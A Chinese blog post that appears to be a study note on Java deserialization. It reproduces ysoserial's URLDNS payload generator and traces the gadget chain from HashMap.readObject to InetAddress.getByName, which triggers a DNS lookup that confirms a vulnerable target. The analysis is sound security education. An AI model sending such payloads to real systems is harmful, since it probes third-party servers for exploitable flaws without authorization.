首页 > 编程语言 >JAVA反序列化-URLDNS分析

JAVA反序列化-URLDNS分析

时间:2023-05-15 20:01:07浏览次数:55  
标签:key java HashMap URL hashCode URLDNS JAVA 序列化

目录

本文基于P大的《java安全漫谈》

环境jdk1.7

urldns是学习JAVA反序列化的入门利用链

0x01 URLDNS

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

我们打开URLDNS.java看看ysoserial是如何⽣成 URLDNS 的代码的:

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

0x02 利用链分析

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 那么,我们可以直奔 HashMap 类的 readObject ⽅法

// 来源:java.util.HashMap
private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {
     ...
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            // hash(key),计算key的hash
            putVal(hash(key), key, value, false, false);
        }
    }
}

hash ⽅法调⽤了keyhashCode() ⽅法:

// 来源:java.util.HashMap
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法

// 来源:java.net.URL
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
    hashCode = handler.hashCode(this);
    return hashCode;
}

此时, handlerURLStreamHandler 对象(的某个⼦类对象),继续跟进其 hashCode ⽅法:

// 来源:java.net.URLStreamHandler
protected int hashCode(URL u) {
    int h = 0;
    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();
    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    ....
}

继续跟getHostAddress(u)

// 来源:java.net.URL
synchronized InetAddress getHostAddress() {
    if (hostAddress != null) {
        return hostAddress;
    }
    if (host == null || host.isEmpty()) {
        return null;
    }
    try {
        hostAddress = InetAddress.getByName(host);
    } catch (UnknownHostException | SecurityException ex) {
        return null;
    }
    return hostAddress;
}

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

从反序列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调⽤,这在Java中其实已经算很少了。

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode()

标签:key,java,HashMap,URL,hashCode,URLDNS,JAVA,序列化
From: https://www.cnblogs.com/ylc0x01/p/17402908.html

相关文章

  • 给定一个字符串,用java代码找出其中不含有重复字符的最长子串的长度
    publicintlengthOfLongestSubstring(Strings){intn=s.length(),ans=0;Map<Character,Integer>map=newHashMap<>();for(inti=0,j=0;j<n;j++){if(map.containsKey(s.charAt(j))){i=Math.ma......
  • Java并发(六)----线程start、run、state方法
    1、start与run调用runpublicstaticvoidmain(String[]args){  Threadt1=newThread("t1"){    @Override    publicvoidrun(){      log.debug(Thread.currentThread().getName());//打印线程名称      FileRe......
  • Java并发(五)----线程常见方法总结
    常见方法方法名static功能说明注意start() 启动一个新线程,在新的线程运行run方法中的代码start方法只是让线程进入就绪,里面代码不一定立刻运行(CPU的时间片还没分给它)。每个线程对象的start方法只能调用一次,如果调用了多次会出现IllegalThreadStateException......
  • 4、HDFS-java操作类HDFSUtil及junit测试(HDFS的常见操作以及HA环境的配置)
    目录Hadoop系列文章目录一、pom.xml二、junit测试类三、操作类(帮助类)四、高可用环境的操作类本文编写了java对HDFS的常见操作,并且均测试通过。其功能包含构造conf、设置系统环境变量、创建目录、判断文件是否存在、获取文件/目录的大小等,具体见下图。本文分为四部分,即pom.xml、ju......
  • 16、MapReduce的基本用法示例-自定义序列化、排序、分区、分组和topN
    文章目录Hadoop系列文章目录一、pom.xml与测试数据说明、日志配置1、pom.xml2、数据字段说明3、日志配置二、序列化1、需求2、实现说明3、实现1)、bean2)、Mapper3)、Reducer4)、Driver4、验证三、排序1、需求2、实现说明3、实现1)、bean2)、Mapper3)、Reducer4)、Driver4、验证四、分区1......
  • 5、zookeeper的java -Curator(服务注册与发现)
    目录Zookeeper系列文章目录一、知识介绍1、ServiceInstance2、ServiceProvider3、ServiceDiscovery1)、注册/注销服务2)、查询服务3)、服务缓存二、示例11、pom.xml2、ServiceInstance3、ServiceProvider及ServiceDiscovery4、注册服务的添加、删除、查询5、验证示例1三、示例21、Ins......
  • 4、zookeeper的java三种客户端介绍-Curator(crud、事务操作、监听、分布式计数器、分布
    目录Zookeeper系列文章目录一、zookeeper原生JavaAPI二、ZkClient三、Apachecurator1、pom.xml2、定义常量类3、连接实例化4、事务操作示例5、CRUD示例6、监听示例7、计数器示例1)、单机原子自增性实现1、Synchronized示例2、Lock示例3、AtomicInteger示例2)、分布式线程安全原子......
  • 反序列化漏洞-Apache Shiro
    ApacheShiro一、shiro的相关介绍1、Shiro概述ApacheShiro是一个强大易用的Java安全框架,提供了认证、授权和会话管理等功能。Shiro框架直观、易用,同时也能提供更健壮的安全性。2、Shiro历史漏洞(Shiro-550)​ApacheShiro框架提供了记住我的功能(RememberMe),用户登录成......
  • C#中的对象序列化
    其实在以前的开发过程中,除了做爬虫用到json的时候用到序列化之外,其它地方我很少用到序列化。像我所处的上位机开发,硬件软件参数会经常发生更改,如果使用序列化,就会导致配置文件升级时候出现问题。至少以我目前的水平,还不知道其它更好的解决方案, 言归正传,在最近集成一个医院PAC......
  • java数组去重_JAVA数组去重常用方法
    java数组去重_JAVA数组去重常用方法发布于 2022-09-1017:18:356950举报大家好,又见面了,我是你们的朋友全栈君。packagecom.zxj.test;importjava.util.ArrayList;importjava.util.Arrays;importjava.util.HashMap;importjava.util.List;importjava.util.......